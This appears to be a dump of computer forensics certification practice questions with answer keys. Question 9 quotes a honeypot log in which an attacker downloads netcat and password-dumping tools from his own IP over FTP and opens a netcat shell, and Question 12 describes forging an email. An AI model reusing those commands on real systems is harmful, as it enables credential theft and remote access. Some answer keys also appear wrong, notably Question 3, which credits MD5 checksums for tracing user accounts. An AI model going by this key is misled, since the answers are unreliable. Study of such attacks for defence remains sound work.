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QUESTION 1

On an Active Directory network using NTLM authentication, where on the domain controllers are the passwords stored? 

A. SAM 

B. AMS 

C. Shadow file 

D. Password.conf 

Correct Answer: A 

 

QUESTION 2

You are working for a local police department that services a population of 1,000,000 people and you have been given
the task of building a computer forensics lab. How many law-enforcement computer investigators should you request to
staff the lab? 

A. 8 

B. 1 

C. 4 

D. 2 

Correct Answer: C 

 

QUESTION 3

What method of computer forensics will allow you to trace all ever-established user accounts on a Windows 2000 sever
the course of its lifetime? 

A. forensic duplication of hard drive 

B. analysis of volatile data 

C. comparison of MD5 checksums 

D. review of SIDs in the Registry 

Correct Answer: C 

 

QUESTION 4

When using Windows acquisitions tools to acquire digital evidence, it is important to use a well-tested hardware write-
blocking device to: 
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A. Automate Collection from image files 

B. Avoiding copying data from the boot partition 

C. Acquire data from host-protected area on a disk 

D. Prevent Contamination to the evidence drive 

Correct Answer: D 

 

QUESTION 5

The use of warning banners helps a company avoid litigation by overcoming an employee assumed
__________________________. When connecting to the company\\'s intranet, network or Virtual Private Network(VPN)
and will allow the company\\'s investigators to monitor, search and retrieve information stored within the network. 

A. Right to work 

B. Right of free speech 

C. Right to Internet Access 

D. Right of Privacy 

Correct Answer: D 

 

QUESTION 6

When conducting computer forensic analysis, you must guard against ______________ So that you remain focused on
the primary job and insure that the level of work does not increase beyond what was originally expected. 

A. Hard Drive Failure 

B. Scope Creep 

C. Unauthorized expenses 

D. Overzealous marketing 

Correct Answer: B 

 

QUESTION 7

You are called by an author who is writing a book and he wants to know how long the copyright for his book will last
after he has the book published? 

A. 70 years 

B. the life of the author 

C. the life of the author plus 70 years 
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D. copyrights last forever 

Correct Answer: C 

 

QUESTION 8

One way to identify the presence of hidden partitions on a suspect\\'s hard drive is to: 

A. Add up the total size of all known partitions and compare it to the total size of the hard drive 

B. Examine the FAT and identify hidden partitions by noting an H in the partition Type field 

C. Examine the LILO and note an H in the partition Type field 

D. It is not possible to have hidden partitions on a hard drive 

Correct Answer: A 

 

QUESTION 9

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks
from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in
arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually
succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a
malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He
does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly.
The attacker makes a 

RDS query which results in the commands run as shown below. 

"cmd1.exe /c open 213.116.251.162 >ftpcom" 

"cmd1.exe /c echo johna2k >>ftpcom" 

"cmd1.exe /c echo haxedj00 >>ftpcom" 

"cmd1.exe /c echo get nc.exe >>ftpcom" 

"cmd1.exe /c echo get pdump.exe >>ftpcom" 

"cmd1.exe /c echo get samdump.dll >>ftpcom" 

"cmd1.exe /c echo quit >>ftpcom" 

"cmd1.exe /c ftp -s:ftpcom" 

"cmd1.exe /c nc -l -p 6969 -e cmd1.exe" 

What can you infer from the exploit given? 

A. It is a local exploit where the attacker logs in using username johna2k 

B. There are two attackers on the system - johna2k and haxedj00 
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C. The attack is a remote exploit and the hacker downloads three files 

D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port 

Correct Answer: C 

The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is
C. 

 

QUESTION 10

In Microsoft file structures, sectors are grouped together to form: 

A. Clusters 

B. Drives 

C. Bitstreams 

D. Partitions 

Correct Answer: A 

 

QUESTION 11

A computer forensics investigator is inspecting the firewall logs for a large financial institution that has employees
working 24 hours a day, 7 days a week. 

What can the investigator infer from the screenshot seen below? 
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A. A smurf attack has been attempted 

B. A denial of service has been attempted 

C. Network intrusion has occurred 

D. Buffer overflow attempt on the firewall. 

Correct Answer: C 

 

QUESTION 12

You are working in the security Department of law firm. One of the attorneys asks you about the topic of sending fake
email because he has a client who has been charged with doing just that. His client alleges that he is innocent and that
there is no way for a fake email to actually be sent. You inform the attorney that his client is mistaken and that fake
email is possibility and that you can prove it. You return to your desk and craft a fake email to the attorney that appears
to come from his boss. What port do you send the email to on the company SMTP server? 

A. 10 

B. 25 

C. 110 

D. 135 

Correct Answer: B 

 

QUESTION 13

An on-site incident response team is called to investigate an alleged case of computer tampering within their company.
Before proceeding with the investigation, the CEO informs them that the incident will be classified as low level. How long
will the team have to respond to the incident? 

A. One working day 

B. Two working days 

C. Immediately 

D. Four hours 

Correct Answer: A 

 

QUESTION 14

Davidson Trucking is a small transportation company that has three local offices in Detroit Michigan. Ten female
employees that work for the company have gone to an attorney reporting that male employees repeatedly harassed
them and that management did nothing to stop the problem. Davidson has employee policies that outline all company
guidelines, including awareness on harassment and how it will not be tolerated. When the case is brought to court,
whom should the prosecuting attorney call upon for not upholding company policy? 
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A. IT personnel 

B. Employees themselves 

C. Supervisors 

D. Administrative assistant in charge of writing policies 

Correct Answer: C 

 

QUESTION 15

Which forensic investigating concept trails the whole incident from how the attack began to how the victim was
affected? 

A. Point-to-point 

B. End-to-end 

C. Thorough 

D. Complete event analysis 

Correct Answer: B 
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